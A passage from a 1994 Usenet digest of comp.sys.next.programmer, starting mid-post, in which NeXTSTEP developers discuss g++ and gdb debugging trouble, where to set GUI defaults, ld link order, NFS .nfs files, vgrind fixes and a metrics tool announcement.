s=@0x3fff820) at Str.c++:294 #10 0x10754 in SendFaxClient::setMailbox (this=0x1523f4, user=0x1529c8 "perkins") at SendFaxClient.c++:3 I'm seeing "nx" stuff in there but am clueless as to the problem. My guess is somethings to do with NeXT's memory model. Any help would be appreciated. - Steve P.S. Since <new.h> is a libg++ thing there is the possibility that the libg++ is causing the problem. It appeared to install with no errors. -- ==================================================================== Stephen Perkins | Department of Computer Science | perkins@cps.msu.edu Michigan State University | "There's more ways to skin a cat than putting its head in a
Newsgroups: comp.sys.next.programmer From: bjanzen@lexmark.com(Barry Janzen) Subject: Re: Alembic Systems - Whats the Problem!!! Sender: usenet@lexmark.com Message-ID: <CpwJ9F.AAM@lexmark.com> Date: Mon, 16 May 1994 15:34:26 GMT References: <CpvADo.62G@ucdavis.edu> Organization: Lexmark International, Lexington, KY Keywords: Alembic In article <CpvADo.62G@ucdavis.edu> dbrad@ucdmath.ucdavis.edu (David Bradford) writes: > I ordered some software from Alembic Systems 2 Months Ago !!! > > > What is their F___ing problem. For the last THREE weeks I have called > > them for it and they keep saying that they are checking and will call > > me right back. They have never ever called back despite a number of > > calls from me. > > HAS ANYONE HAD THIS KIND OF PISS POOR SERVICE BEFORE? > > IS ALEMBIC FOR REAL OR IS IT SOME KIND OF SHAM OPERATION? > > I feel better now! > > Nothing but great service here - that's suprising. They've always been very professional in my dealings with them. Barry bjanzen@lexmark.com
Newsgroups: comp.sys.next.programmer From: js@euler.hnv.icem.de(Juergen Sell) Subject: Where to better define defaults -in NIB or in class(header)files? Message-ID: <Cpv3I5.nw@euler.hnv.icem.de> Sender: js@euler.hnv.icem.de (Juergen Sell) Organization: Ink Unknown Date: Sun, 15 May 1994 20:56:29 GMT As I am just getting into learning to program with the appkit, I wonder what is the best place to define the initial values for the GUI-part - in the NIB itself or in the classes-files? If this information is needed in the gui only the answer might be obvious (?), but in many cases I expect the info to be needed in both places. Especially in larger projects I expect it to be disastrous to have identical information stored independently in more than one location. The way I understand it you could either - have your classes send the values to outlets a la [aGuiObject setStringValue: the_initial_value] or - have the Object aGuiObject defined via InterfaceBuilder to already hold the correct value and query the object for its value to have your classes get to know the value. You experienced programmers: Is one of the two solutions to be preferred? What do you consider good practice on this issue? Or have you found this to be of zero importance? Curious, Juergen --- Juergen Sell E-Mail js@icem.de ( NeXTMail ok ) Deisterstr. 18 Fax ++49-511-440617 BRD 30449 Hannover Fon ++49-511-440688 == What time do we live in when all the word 'revolution' makes you think of == is a new generation of soap powder ?
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Where to better define defaults -in NIB or in class(header)files? Message-ID: <1994May16.184025.28750@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <Cpv3I5.nw@euler.hnv.icem.de> Date: Mon, 16 May 1994 18:40:25 GMT In article <Cpv3I5.nw@euler.hnv.icem.de> js@euler.hnv.icem.de(Juergen Sell) writes: >>As I am just getting into learning to program with the appkit, I wonder what is the best place to >>define the initial values for the GUI-part - in the NIB itself or in the classes-files? >> Personally, I set the values in the nib to absolute nonsense, since whenever I load a nib file, I do the equivalent of a "revert" on it, and if I've set the GUI values to reasonable values, I won't catch problems. Of course this really only works for some kinds of UI - it's hard to choose a nonsense selection from a matrix of radio buttons, but... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: Christopher_Lane@Med.Stanford.EDU Newsgroups: comp.sys.next.programmer Subject: Re: Where to better define defaults -in NIB or in class(header)files? Date: 16 May 1994 18:47:02 GMT Organization: Stanford University Message-ID: <2r8f36$ieb@nntp2.Stanford.EDU> References: <Cpv3I5.nw@euler.hnv.icem.de> In article <Cpv3I5.nw@euler.hnv.icem.de> js@euler.hnv.icem.de(Juergen Sell) writes: > I wonder what is the best place to define the initial values for the > GUI-part - in the NIB itself or in the classes-files? I feel that neither is appropriate. Until the day NeXT decides to make the defaults database and NetInfo one hierarchy of information (and really make NetInfo work in an inherited fashion so local information overrides global), the solution I've hacked together for myself is to make the defaults for the application a *.string file in the application bundle and define a subclass of StringTable called DefaultsTable that knows how to load & define these at runtime. This way, a sysadmin can customize the defaults for the site just by editing a short ASCII file and users can override those settings as needed using the standard defaults (dwrite) mechanisms. - Christopher
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: How to paste in IB? Message-ID: <1994May16.185307.29376@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Mon, 16 May 1994 18:53:07 GMT I mean really paste, as in replacing your selection with the items from the pasteboard. For example copy a text field, select another field and paste. It doesn't replace your selection, it just gives you a new object out there. It would be cool if it it really replaced that object and the connections stayed intact. So is there some trick for that I'm missing? Please please please.... Have I ever mentioned my intense hatred of that app? Monty
From: bakker@cyclon.aoml.erl.gov (Cary Bakker) Newsgroups: comp.sys.next.programmer Subject: printing and compositing ... Date: 16 May 1994 19:27:23 GMT Organization: U.S. Department of Commerce, NOAA/AOML Message-ID: <2r8her$g41@wave.aoml.erl.gov> Hi. I realize that compositing is not supported with printing. Not too long ago, I ran across an article (sorry, I can't remember who because I only saved the important part) that suggested: if (NXDrawingStatus == NX_PRINTING) draw stuff else composite stuff This is OK, and I plan on going through a ton of code so that I can print. BUT, is there an alternative or an easier way? Thanks, Cary --
From: taweil@nunki.usc.edu (Ta-Wei Li) Newsgroups: comp.sys.next.programmer Subject: ld -m bug? Date: 16 May 1994 12:50:34 -0700 Organization: University of Southern California, Los Angeles, CA Sender: taweil@nunki.usc.edu Message-ID: <2r8iqa$fna@nunki.usc.edu> In the man page of ld: -m Don't treat multiply defined symbols as a hard error; instead, simply print a warning. The first such symbol is used for linking; its value is used for the symbol in the symbol table. The other symbols by the same name may be used in the resulting output file through local references. This can still produce a resulting output file that is in error. This flag's use is strongly discouraged! O.K. I know the use is discouraged, but I was trying to compile Adaed and there is a duplicate symbols _raise which I guess is an undocumented function in NeXTSTEP. Anyway, I tried the -m option and the excutable is linked but the Text section is in weird order, i.e. the assembly code does not start with start:. It seems -m option does more than it says in the man page. When attemping to debug the program, I use -M option to produce a load map and the miracle happened. The Text section is now in correct order. Is this a bug of ld? By the way, I'd like to know if there is other way to work arround this kind of problem beside changing the function name in the program? Also, I have Adaed (Ada/Education from NYU) on my Cube running 3.2. If there is any interest, I will put it in cs.orst.edu. However, it is compiled for black machine only since there is some CPU specified setup and I don't have access to an Intel box. -- Ta-Wei "David" Li UNIX Consultant, University of Southern California Member, League for Programming Freedom "Innovate, don't litigate."
Newsgroups: comp.sys.next.programmer From: fozztexx@nvc.cc.ca.us (Chris Osborn) Subject: Need page breaks in Text object Message-ID: <Cpwz2p.8w6@nvc.cc.ca.us> Sender: news@nvc.cc.ca.us Organization: Napa Valley College Date: Mon, 16 May 1994 21:16:00 GMT Anyone got a hack to put page breaks into the Text object? I only want to do this when printing it, not when displaying on screen. I've been playing trying to just add enough newlines to go to the next page, unfortunately, I don't know how to find out what the exact coordinate is for the start of the next page, so the page breaks keep drifting further and further down the page. Also, does anyone know if the renewRuns:... method even works? -- Chris Osborn, Network Administrator Voice: 707 253 3130 Napa Valley College Fax: 707 253 3063 2277 Napa-Vallejo Hwy., Napa, CA, 94558 <fozztexx@nvc.cc.ca.us> MIME ok, NeXTMail tolerated
Newsgroups: comp.sys.next.programmer,comp.unix.programmer From: tynor@atlanta.twr.com (Steve Tynor) Subject: .nfs???? files added as I try to delete a directory Message-ID: <TYNOR.94May16164346@twratl.atlanta.twr.com> Sender: tynor@atlanta.twr.com (Steve Tynor) Organization: Tower Technology Date: Mon, 16 May 1994 21:43:46 GMT Environment: NeXTSTEP 3.2/Intel File system NFS mounted: NFS server is a Sun running SunOS 4.1.3. Application compiled with cc (NeXT's gcc 2.2.2) [We're not using "cc -posix" since NFS file access is unreliable with POSIX applications (confirmed w/ NeXT support)]. On NeXTSTEP, the NFS daemon seems to be adding .nfs???? files to the directory as we're reading it - that can result in us thinking we've deleted all the files, but then fail to delete the directory since the new .nfs???? files are there. We detect this (errno = ENOTEMPTY) and start over. This can theoretically lead to an infinite loop (since the daemon could continue to add files as we try over, etc.), but in practice it seems to work. What's the `right way' to recursively delete a directory (I can't call "rm -r" via system() since I need to be selective about what files I delete). Besides, it would seem that "rm -r" has to deal with this same problem - any idea how it copes? We've never seen this sort of behavior with any of our other NFS clients. Is this a NeXT specific thing? Thanks, =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Harold is that most dangerous of creatures: a clever sheep. Steve Tynor Internet: Steve.Tynor@atlanta.twr.com Tower Technology UUCP: twratl!Steve.Tynor
Newsgroups: comp.sys.next.programmer,comp.infosystems.wais From: cowboy@trans (Joe Rosenfeld) Subject: Trying to compile freeWAIS-0.3 on NeXT 3.2 Message-ID: <1994May16.225033.7074@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Mon, 16 May 1994 22:50:33 GMT Greetings: I am trying to get freeWAIS-0.3 to compile on my NeXTSTEP workstation running OS 3.2, but I am having a miserable time, I am sorry to say. Can anyone provide advice or diffs, etc.? I would be most grateful. TIA, Joe -- | Joe Rosenfeld cowboy@trans.csuohio.edu | Automation Librarian (216) 687-6881 [FAX] | CSU Law Library trans.csuohio.edu [ANON FTP] | NeXTMail and MIME ok
From: bob@laplace.uucp ("Robert L. Masterson") Newsgroups: comp.sys.next.programmer Subject: Re: Counting lines of code [a 1-liner] Date: 16 May 1994 23:44:27 GMT Organization: Software Services and Solutions, Inc. Message-ID: <2r90gr$3of@babyblue.cs.yale.edu> References: <2qtjj4$kvp@cerberus.wsc.com> <1994May15.203918.562@afs.com> Summary: More complex metrics are more useful than line or statement counts Keywords: metrics, software development, CASE, CodeReviewer There has been much talk here recently about software metrics, and whether they are bad or good. Metrics in general are a value-neutral thing. They can be used to enhance the software development process, or they can be used in a way that can hinder development. The lines of code metric gives probably less information than any other metric, but it is still the most widely used in the industry. I have worked for billion+ dollar software companies that still rely on lines of code as their primary input for project management and scheduling of software development. Though a useful metric for some things, several people have rightly pointed out that with much Objective-C (and other types of code), the amount of information/functionality per line can vary tremendously based on style and other factors. Sometimes, people or organizations attempt to improve the lines of code metric by stripping comments and blank lines or making attempts to consolidate multi-line statements. I have found that metrics that take into account the syntactic and semantic structure of code are far better predictors of time, effort, maintainability, and cost than is the lines of code metric, even when it is so modified. For object-oriented code, and even for procedure-based code, having a breakdown of method or function complexity can be extremely useful in helping programmers to direct their limited resources at problems or potential problems. Several different complexity measurements have been used in the industry for over a decade. I find that Thomas McCabe's complexity measurements, when appropriately modified for an object-oriented environment, have saved me a lot of development time and headaches. CodeReviewer, the software analysis system from Software Services and Solutions, Inc., implements versions of a number of complexity measurements, including McCabe's, extended for an object-oriented environment. It also computes the standard and modified lines of code and comments measurements. Since analyses can be saved, graphed, compared, and brought up for later study, it is particularly useful for cross-project and cross-developer analyses. Its ability to work directly with ProjectBuilder projects integrates it well into the standard NEXTSTEP development environment. Other, visual analyses functions allow a programmer to drill down to see the code and the changes that have led to the metrics that are computed. Overall, CodeReviewer gives you all the tools you need to integrate software metrics into your development methodology, without enforcing any particular methodology on you. A demonstration version of CodeReviewer is available via email and FTP. The demo limits its analysis of source code to the first 150 lines of a file, printing and saving the results of analyses are disabled, and the application times out ten minutes after launch. The production version of CodeReviewer can be purchased directly from Software Services and Solutions, Inc., or through Paget Press. The demonstration package, CodeReviewer_Demo.pkg.tar.gz, which includes an online version of the CodeReviewer manual, is 500 Kb, and it is available via email to CASE_Tools@sss.com, or via direct FTP from the following locations: sonata.cc.purdue.edu:/pub/next/submissions/ cs.orst.edu:/pub/next/demos/programming/ ftp.informatik.uni-muenchen.de:/pub/comp/platforms/next/Developer/commercial/apps I would be very interested in hearing further discussion on software metrics in a NEXTSTEP/OpenStep development environment. I am also happy to answer any questions on CodeReviewer or our other SS&S CASE Tools. Robert L. Masterson, Vice President Software Services and Solutions, Inc. 94 Murray Street Meriden, Connecticut 06450 rlm@sss.com phone: (203) 630-2000 fax: (203) 630-2020
From: jacobsen@arundel.doit.wisc.edu Newsgroups: comp.sys.next.programmer Subject: Re: NeXT memory model and g++ Date: 16 May 1994 23:45:31 GMT Organization: Division of Information Technology Message-ID: <2r90ir$ofs@news.doit.wisc.edu> References: <2r871b$qir@msuinfo.cl.msu.edu> In comp.sys.next.programmer article <2r871b$qir@msuinfo.cl.msu.edu> you wrote: > The code below, although it looks like it should work, is causing > problems when compiled on NeXT (moto 040, OS 3.2). I am using the > latest version of libg++ and gcc 2.5.8. > > The problem occurs at the "data = ..." statment marked below. > <<Code deleted>> > > Here is the error message that I get: > > memory allocation error: attempt to free or realloc space not in heap > IOT trap > > > A GDB backtrace shows: Gack!!! You _cannot_ trust this information. gcc 2.5.8 has a different debugging format than 2.2.2 did. Unless you have gotten the latest version of gdb (4.12) to compile (several people including myself have tried this, configure quits with a "host bsd-next-m68k not supported"), you cannot trust anything gdb tells you. I discovered this much to my dismay when trying to debug a large C++ program. I can post some examples of where gdb breaks down if anyone is interested. If anyone has been able to make gdb 4.12 I would dearly love to hear how you did it. > #0 0x5007974 in kill () <<<possibly incorrect backtrace deleted>>> > > - Steve > > P.S. Since <new.h> is a libg++ thing there is the possibility that the > libg++ is causing the problem. It appeared to install with no errors. > > > -- > ==================================================================== > Stephen Perkins | > Department of Computer Science | perkins@cps.msu.edu > Michigan State University | > > "There's more ways to skin a cat than putting its head in a -E -- Erik Jacobsen jacobsen@cae.wisc.edu Integrate, differentiate and die.
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Calendar Palette? Date: 16 May 1994 23:51:29 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <2r90u1$k4d@senator-bedfellow.MIT.EDU> Is there an IB palette that exists which is similar (or identical) to the full 30-day calendar found in Preferences.app? MiscKit already has a MiscCLockView, but as far as I know it shows only the current date, not the entire month. If this type of palette doesn't exist, can anyone point me to PD code for a similar calendar, or some utility that uses the text gotten from the UNIX "cal" command in a graphical form? Thanks, Eric
Newsgroups: comp.sys.next.programmer From: stef@ziomm.fdn.org (Stephan Mertz) Subject: NeXTstation's automatic switching on Message-ID: <1994May16.222904.1411@ziomm.fdn.org> Sender: stef@ziomm.fdn.org Date: Mon, 16 May 1994 22:29:04 GMT Does anybody have information about the chip that controls the automatic switching on of NeXTstation ? I want to programm it without using the Preferences App. -- Stephan Mertz Tel/fax: [33] 88 44 47 25 NEXTSTEP Developer e-Mail: stef@ziomm.fdn.org 55, rue de Mulhouse (small NeXTmail accepted) 67100 Strasbourg FRANCE
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: vgrind (was Re: Hints on using Emacs for NeXTstep) Date: 17 May 1994 03:27:15 GMT Organization: San Francisco State University Message-ID: <2r9dij$c17@nic-nac.CSU.net> References: <2q2802$62n@nic-nac.csu.net> <2r6pdj$n23@gap.cco.caltech.edu> In article <2r6pdj$n23@gap.cco.caltech.edu> ccwf@zanzibar.klab.caltech.edu (Charles Fu) writes: >At least under NS3.2, vgrind unfortunately regards '|' as a zero-width >character, making it impossible to tell the difference between '||' >and '|. Distinctly annoying if you are processing code that uses both >'|' and '||'. Try this: # cd /usr/lib/tmac # mv tmac.vgrind tmac.vgrind.orig # cat - >tmac.vgrind .tr |\(bv .so /usr/lib/tmac/tmac.vgrind ^D :-) :-) :-) > I >cannot say if the vgrind problem was present in older versions of >NEXTSTEP. Definitely present in 2.x. (It's not a vgrind problem per se.) -=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: ld -m bug? Date: 17 May 1994 03:58:34 GMT Organization: San Francisco State University Message-ID: <2r9fda$dbm@nic-nac.CSU.net> References: <2r8iqa$fna@nunki.usc.edu> In article <2r8iqa$fna@nunki.usc.edu> taweil@nunki.usc.edu (Ta-Wei Li) writes: >and there is a duplicate symbols _raise which I guess is an undocumented >function in NeXTSTEP. raise() is one of ANSI C's frivolous "contributions" int raise(int sig) { return kill(getpid(), sig); } It's been present (and prototyped in <signal.h>) at least as far back as NS 1.0. There's no good reason for anyone to use it, but some clueless standards committee insists it be there. > By the way, I'd like to know if there is other way to work arround this >kind of problem beside changing the function name in the program? The "problem" is not unique to NEXTSTEP. raise() is a reserved name in all contemporary C programming environments. Whoever wrote your software screwed up in a big way. Change the name. -=EPS=-
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Re: Where to better define defaults -in NIB or in class(header)files? Date: 17 May 1994 04:13:30 GMT Organization: Massachusetts Institute of Technology Message-ID: <2r9g9a$pcj@senator-bedfellow.MIT.EDU> References: <Cpv3I5.nw@euler.hnv.icem.de> In article <Cpv3I5.nw@euler.hnv.icem.de> js@euler.hnv.icem.de(Juergen Sell) writes: >As I am just getting into learning to program with the appkit, I wonder what >is the best place to define the initial values for the GUI-part - in the NIB >itself or in the classes-files? >The way I understand it you could either >- have your classes send the values to outlets a la >[aGuiObject setStringValue:the_initial_value] >or >- have the Object aGuiObject defined via InterfaceBuilder to already >hold the correct value and query the object for its value to have your classes >get to know the value. It is probably easier to set initial values in interface builder, but your code might be more portable if you #define initial values in your header files or implementation files. That way if you ever choose to port your code to other systems, you have less work to do (since you probably won't be able to port the IB .nib file over). Also, if you need to reset those initial values many times during the run of the program (as in a simulation) you will need to define the values in your code and send the values to the GUI. Eric
From: claspac@tallis.ucsc.edu (Jas-Russell) Newsgroups: comp.sys.next.programmer Subject: TopDraw or AppSoft Draw for Intel Processors Date: 17 May 1994 05:01:09 GMT Organization: University of California, Santa Cruz Message-ID: <2r9j2l$l0i@darkstar.UCSC.EDU> TopDraw or AppSoft Draw for Intel Processors I am desperate to get either the source code for TopDraw/Appsoft Draw or a binary executable that will run under Intel. I have a large number of drawings and I recently changed hardware to a 486 machine. The demo copy available from some FTP sites has had the save feature disabled and so is unusable. I haven't been able to get any response or current phone number for "Media Logic". Any help would be greatly appreciated. (Seems to me when a company folds like that they ought to make the source code for their product available so that those who have come to depend on it can port it to new OS releases and so on). -- Name: Will Russell E-mail: claspac@cats.ucsc.edu Voice: 408-459-2060 FAX: 408-429-0146
From: taweil@nunki.usc.edu (Ta-Wei Li) Newsgroups: comp.sys.next.programmer Subject: Re: ld -m bug? Date: 16 May 1994 23:01:05 -0700 Organization: University of Southern California, Los Angeles, CA Sender: taweil@nunki.usc.edu Message-ID: <2r9mj1$oig@nunki.usc.edu> References: <2r8iqa$fna@nunki.usc.edu> >there is a duplicate symbols _raise which I guess is an undocumented >function in NeXTSTEP. > O.K. I should have checked the man page before the post. raise is an ANSI C standard function. About the -m option, it turns out that it has to do with the way (g)cc pass the parameter to the ld and the -m somehow confuses gcc in the order. twnug:29> cc -v -o foo -m foo.o -lm Reading specs from /lib/m68k/specs NeXT Computer, Inc. version cc-216.obj~13, gcc version 2.2.2 ld -o foo -m foo.o -lcrt0.o -L/lib/m68k -L/usr/local/lib -L/lib/m68k -lm -lsys_s This one produces a binary linked in wrong order and the executable gives bus error. twnug:44> cc -v -o foo foo.o -lm -m Reading specs from /lib/m68k/specs NeXT Computer, Inc. version cc-216.obj~13, gcc version 2.2.2 ld -o foo -m -lcrt0.o -L/lib/m68k -L/usr/local/lib -L/lib/m68k foo.o -lm -lsys_s This one produces a binary linked in correct order and the exectable runs fine. -- Ta-Wei "David" Li UNIX Consultant, University of Southern California Member, League for Programming Freedom "Innovate, don't litigate."
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: rasmus@lysis.ch (Peter Rasmussen) Subject: Runtime introspection of Category Names ... How ?? Message-ID: <CpxrBs.1tL@eunet.ch> Sender: usenet@eunet.ch (News Administrator) Organization: EUnet Switzerland Date: Tue, 17 May 1994 07:26:15 GMT Hi, How do I get hold on the names of class categories in the NeXT Objective-C runtime ... any idea ... Best regards Peter Rasmussen --- >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> rasmus@lysis.ch Peter Rasmussen Tel: +41 21 / 312 9191 LYSIS Fax: +41 21 / 312 9343 Cotes de Montbenon 8, 1003 Lausanne ISDN: +41 21 / 311 9651 CH - Switzerland (Europe) >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: vgrind (was Re: Hints on using Emacs for NeXTstep) Date: 17 May 1994 07:43:43 GMT Organization: San Francisco State University Message-ID: <2r9sjf$psg@nic-nac.CSU.net> References: <2q2802$62n@nic-nac.csu.net> <2r6pdj$n23@gap.cco.caltech.edu> <2r9dij$c17@nic-nac.CSU.net> In article <2r9dij$c17@nic-nac.CSU.net> I wrote: > .so /usr/lib/tmac/tmac.vgrind Oops! .so /usr/lib/tmac/tmac.vgrind.orig ^^^^^ -=EPS=- -- Iteration in Everyday Life: Lather. Rinse. Repeat. Recursion in Everyday Life: To seal: moisten flap, fold over, and seal.
From: sam_s@NeXT.com (Sam Streeper) Newsgroups: comp.sys.next.programmer Subject: Re: Where to better define defaults -in NIB or in class(header)files? Date: 17 May 1994 07:57:58 GMT Organization: NeXT, Inc. Message-ID: <2r9te6$91m@rosie.next.com> References: <2r9g9a$pcj@senator-bedfellow.MIT.EDU> js@euler.hnv.icem.de(Juergen Sell) writes: > As I am just getting into learning to program with the appkit, I wonder what > is the best place to define the initial values for the GUI-part - in the NIB > itself or in the classes-files? This is the wrong question. (you knew i'd say that, huh? 8^) The preliminary question is does your user interface merely display state, or does it contain state (ie is the UI the sole repository of important state info?) Usually it is merely a display, so you're going to get that state elsewhere (data files and the defaults database, for example), store it in your own objects, and then update the UI to represent that internal state. Sometimes NeXTstep UI elements are adequate for both storing and displaying state (this is sometime convenient and sometimes a pain) but you'll still probably want to store the values for the things users really interact with, and reinitialize {content and display} based on previous settings. If I wasn't so sleepy I would probably mention that a good architecture for UI elements often involves separating data storage, display, and manipulation into different classes that intercommunicate... -sam -- Opinions expressed herein are not those of my employer. They're not even mine. They're probably wrong besides. How did they get in here, anyway?
Newsgroups: comp.sys.next.programmer From: brouwer@minnie.informatik.uni-stuttgart.de (Klaus Brouwer) Subject: firstResponder Message-ID: <Cpy1Jz.BBG@news.informatik.uni-stuttgart.de> Summary: Text object does not resign first responder status Sender: news@informatik.uni-stuttgart.de Organization: Informatik, Uni Stuttgart, Germany Date: Tue, 17 May 1994 11:07:10 GMT Hi folks! I have a curious problem with a Text object and a NXBrowser. The Text object has a delegate associated with it, and this delegate receives the message -textDidEnd:endChar: (among others). I use this method to give the first responder status to the browser. If I end editing through a special key, say <enter>, everything works fine. If I try doing the same by clicking within the browser, -makeFirstResponder: invokes -textDidEnd:endChar: again, which invokes -makeFirsResponder, etc. The docs say it is a typical usage of this delegate method to change the first responder, so the error must lie somewhere else: The clue is which object is firstResponder when -textDidEnd:endChar: is called: - if editing is ended using a keystroke it is the window. - if editing is ended by clicking into another object it is still the Text object! I found that I've set first responder status programmatically within the action method of the browser, but this shouldn't be necessary: the mouse click should enough. I then removed this code and hey: the Text object doesn't give up first responder status if I click within the browser! Does it refuse to resign this status? If this happens all text in the Text object should become selected; but only the cursor disappers. Does it never get asked to resign first responder status? So why dissapers the cursor? If this happend no normal character can be entered any more; but I get no error beep. Even more strange: I CAN enter special keys which cause the Text object to resign the first responder status and -textDidEnd:endChar: is called correctly. Any ideas? This behaviour is reproduceable, so why isn't it documented? Or fixed? My Steve Jobs be with you, Klaus Brouwer.
Newsgroups: comp.sys.next.programmer,comp.unix.programmer From: pete@tecc.co.uk (Pete Bentley) Subject: Re: .nfs???? files added as I try to delete a directory In-Reply-To: tynor@atlanta.twr.com's message of Mon, 16 May 1994 21:43:46 GMT Message-ID: <PETE.94May17130208@luggage.tecc.co.uk> Sender: news@tecc.co.uk Organization: T.E.C.C. Ltd, London, England. References: <TYNOR.94May16164346@twratl.atlanta.twr.com> Date: Tue, 17 May 1994 12:02:07 GMT >>>>> In article <TYNOR.94May16164346@twratl.atlanta.twr.com>, tynor@atlanta.twr.com (Steve Tynor) writes: >> On NeXTSTEP, the NFS daemon seems to be adding .nfs???? files to the >> directory as we're reading it These should only be created when a process unlinks a file on the server while another process (on a client) still has it open (or might have it open, presumably --- I'm not sure quite how this fits into NFS's "statelessness"). This is to try and emulate the behaviour of local filesystems. On a local filesystem if a process removes the last link to a file the file has no names, but may still exist if another process has it open (ie the reference count in the kernel's copy of the inode is non-zero). That won't work across remote filesystems, so the NFS daemons keep a 'fake' link to the file to keep it around for other clients... >> We've never seen this sort of behavior with any of our other NFS >> clients. Is this a NeXT specific thing? Might be a bug/feature where the server thinks the files is open when it isn't... as NFS is stateless, I dunno how the server can be sure a file is not open, so may feel obliged to create the .nfs file when it is unlinked... Pete.
Newsgroups: comp.sys.next.programmer,comp.unix.programmer From: simonr@unipalm.co.uk (Simon Roberts) Subject: Re: .nfs???? files added as I try to delete a directory Message-ID: <1994May17.123436.4304@unipalm.co.uk> Organization: Unipalm Group plc, 216 Cambridge Science Park, Cambridge CB4 4WA, UK References: <TYNOR.94May16164346@twratl.atlanta.twr.com> <PETE.94May17130208@luggage.tecc.co.uk> Date: Tue, 17 May 1994 12:34:36 GMT pete@tecc.co.uk (Pete Bentley) writes: >>>>>> In article <TYNOR.94May16164346@twratl.atlanta.twr.com>, tynor@atlanta.twr.com (Steve Tynor) writes: >>> On NeXTSTEP, the NFS daemon seems to be adding .nfs???? files to the >>> directory as we're reading it >These should only be created when a process unlinks a file on the >server while another process (on a client) still has it open (or might >have it open, presumably --- I'm not sure quite how this fits into >NFS's "statelessness"). It doesn't! Simple answer to this side issue is that NFS may be meant to be stateless, but this aspect, and some others such as PCNFSD, have to break the ideal (how do you have a lock with no state???!!!) >>> We've never seen this sort of behavior with any of our other NFS >>> clients. Is this a NeXT specific thing? Perhaps it's the way that you are looking? You might be witnessing the uncertainty principle, i.e. because youre looking at it, it behaves differently. Previous posters comments about the purpose of .nfs files are the key. Simon -- ------------------------------------------------------ Simon Roberts simonr@compucol.co.uk (0223) 250127 The Computer College +44 223 250127
Newsgroups: comp.sys.next.programmer From: sfitzp@cs.qub.ac.uk (Stephen Fitzpatrick) Subject: Re: .nfs???? files added as I try to delete a directory Message-ID: <1994May17.131810.826@ousrvr.oulu.fi> Sender: news@ousrvr.oulu.fi Organization: University of Oulu References: <1994May17.123436.4304@unipalm.co.uk> Date: Tue, 17 May 1994 13:18:10 GMT > In article <TYNOR.94May16164346@twratl.atlanta.twr.com>, >tynor@atlanta.twr.com (Steve Tynor) writes: On NeXTSTEP, the >NFS daemon seems to be adding .nfs???? files to the directory >as we're reading it Any that are left around are automatically deleted as part of the standard house cleaning. (After seven days, if I read /usr/adm/daily correctly.) -- Stephen Fitzpatrick | sfitzp@cs.qub.ac.uk O-O Department of Computer Science | (NeXT mail ok) | The Queen's University of Belfast|"Keep passing the OpenWindows" v $B6l(J
Newsgroups: comp.sys.next.programmer From: mdw@sitar.jazz.att.com (Mark Wuest) Subject: DSPAddFD() and XtAppAddInput() Message-ID: <MDW.94May17104632@laura.jazz.att.com> Sender: news@nntpa.cb.att.com (Netnews Administration) Organization: AT&T Bell Labs, Red Hill Date: Tue, 17 May 1994 14:46:32 GMT I ftp'd and installed MiscKit this weekend (WAY cool!). Since most of my work involves I/O and interfaces to other systems, I decided to marf the simple terminal example. When I do i/o in X (yeah, I know - but it pays the bills), I do my open()/connect()/whatever() to get a file descriptor, and then do XtAppAddInput() to cause the select()/poll() in the event loop to look at my fd. This allows non-blocking asynchronous read/write. The closest thing I have found in NS is DPSAddFD(). This *seems* to work correctly so far for read()'s (I replaced the DPSAddTimer() with it in the example), but the manual page does not advertise it this way. The manual page just says it will perform your callback function every time it enters the event loop. My tests show that it actually Does The Right Thing (behaves like XtAppAddInput()), but this makes the documentation wrong. Does anyone else have experience with DPSAddFD()? I plan to test it on an fd set NONBLOCK for writes and see if it works for write()'s also, but it has no allowance to distinguish the two (ie: the "condition" argument to XtAppAddInput()). Is there a true equivalent to XtAppAddInput() in the AppKit that I have somehow overlooked? I've tried about every permutation of read/write/select/poll/fd in Digital Librarian on the Documentation and found nothing so far. Mark -- -- Mark Wuest mdw@sitar.jazz.att.com (NeXT Mail Ok)
From: ernest@pundit.cithep.caltech.edu (Ernest Prabhakar) Newsgroups: comp.sys.next.programmer Subject: Re: ./configure for gdb on NeXTSTEP 3.2/Intel Date: 17 May 1994 17:17:57 GMT Organization: California Institute of Technology, Pasadena Distribution: world Message-ID: <2rau85$8qm@gap.cco.caltech.edu> References: <TYNOR.94May15222012@twratl.atlanta.twr.com> Steve Tynor writes > Has anyone succesfully built gdb for NeXTSTEP/Intel > I'm trying to build gdb 4.12. I've tried configuring as: > > i386-next-bsd (same config that worked for gcc 2.5.8) > i386-next-mach > i386-mach-mach > Last I checked, NeXT's compiler technology had departed sufficiently far from GNU's (multi-threading, ObjC, etc.) that it was NOT possible to build GDB for any NeXT systems. Whether this is an issue of NeXT's OS or not incorporating NeXT's changes into the GDB tree, I am not sure. It is very annoying, but I'm not sure whom to yell at. Maybe we need to get NeXT to pay Cygnus to sort everything out. -- Ernie P. -- Ernest N. Prabhakar Caltech High Energy Physics Member, League for Programming Freedom (league@prep.ai.mit.edu) CaJUN President 